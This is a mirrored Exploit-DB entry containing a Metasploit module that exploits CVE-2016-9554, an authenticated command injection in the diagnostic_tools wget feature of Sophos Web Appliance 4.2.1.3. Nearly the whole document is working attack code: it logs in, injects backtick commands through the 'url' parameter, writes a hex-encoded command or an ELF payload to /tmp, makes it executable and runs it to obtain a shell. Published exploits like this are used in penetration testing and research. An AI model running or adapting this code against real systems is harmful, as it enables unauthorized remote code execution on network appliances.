Sophos Web Appliance 4.2.1.3 – DiagnosticTools Remote Command Injection (Metasploit)

• Exploit Database
• 14 阅读

• 作者： xort
  日期： 2016-12-12
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41414/

• # Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity 
  # Date: 12/12/2016
  # Exploit Author: xort @ Critical Start
  # Vendor Homepage: www.sophos.com
  # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
  # Version: 4.2.1.3
  # Tested on: 4.2.1.3
  #
  # CVE : CVE-2016-9554
  
  # vuln:diagnostic_tools command / host parameter /MgrReport.php exploit
  
  # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. 
  #
  # xort @ Critical Start
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  	includeExploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sophos Web Appliace <= v4.2.1.3 remote exploit',
  					'Description'=> %q{
  					This module exploits a remote command execution vulnerability in
  				the Sophos Web Appliace Version <=v4.2.1.3. The vulnerability exist in
  				a section of the machine's adminstrative infertface for performing diagnostic
  				network test with wget and unsanitized unser supplied information. 
  			},
  			'Author' =>
  				[
  					'xort@Critical Start', # vuln + metasploit module
  				],
  			'Version'=> '$Revision: 1 $',
  			'References' =>
  				[
  					[ 'none', 'none'],
  				],
  			'Platform'=> [ 'linux'],
  			'Privileged' => true,
  			 'Arch'=> [ ARCH_X86 ],
  'SessionTypes'=> [ 'shell' ],
  'Privileged' => false,
  
  		'Payload'=>
  { 
  'Compat' =>
  {
  'ConnectionType' => 'find',
  }
  },
  
  			'Targets'=>
  				[
  					['Linux Universal',
  						{
  								'Arch' => ARCH_X86,
  								'Platform' => 'linux'
  						}
  					],
  				],
  			'DefaultTarget' => 0))
  
  			register_options(
  				[
  					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
  			 	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
  					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
  					Opt::RPORT(443),
  				], self.class)
  	end
  
  def do_login(username, password_clear)
  vprint_status( "Logging into machine with credentials...\n" )
  
  # vars
  timeout = 1550;
  style_key = Rex::Text.rand_text_hex(32)
  
  # send request
  res = send_request_cgi(
  {
  'method'=> 'POST',
  'uri' => "/index.php",
  'vars_get' => {
  			 'c' => 'login',
  			},
  'vars_post' =>
  {
  
   			'STYLE' => style_key,
   			'destination' => '',
  			'section' => '',
  			'username' => username,
  			'password' => password_clear,
  }
  }, timeout)
  
  return style_key
  end
  
  	def run_command(username, style_password, cmd)
  
  		vprint_status( "Running Command...\n" )
  
  		# send request with payload	
  		res = send_request_cgi({
  			'method' => 'POST',
  			'vars_post' => {
  				'action' => 'wget',
  				'section' => 'configuration',
  				'STYLE' => style_password ,
  				'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
  				},
  			'vars_get' => {
  				'c' => 'diagnostic_tools',
  			},
  		})
  
  	end
  
  	
  	def exploit
  		# timeout
  		timeout = 1550;
  
  		# params
  		password_clear = datastore['PASSWORD']
  		user = datastore['USERNAME']
  
  		# do authentication		
  		style_hash = do_login(user, password_clear)
  	
  		vprint_status("STATUS hash authenticated: #{style_hash}\n")
  			
  		# pause to let things run smoothly
  		sleep(5)
  
  		 #if no 'CMD' string - add code for root shell
  if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  
  cmd = datastore['CMD']
  
  # Encode cmd payload
  encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  
  # kill stale calls to bdump from previous exploit calls for re-use
  run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
  else
  # Encode payload to ELF file for deployment
  elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')
  
  			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
  run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))
  
  			# wait for magic
  handler
  			
  end
  
  
  	end
  # sophox-release
  end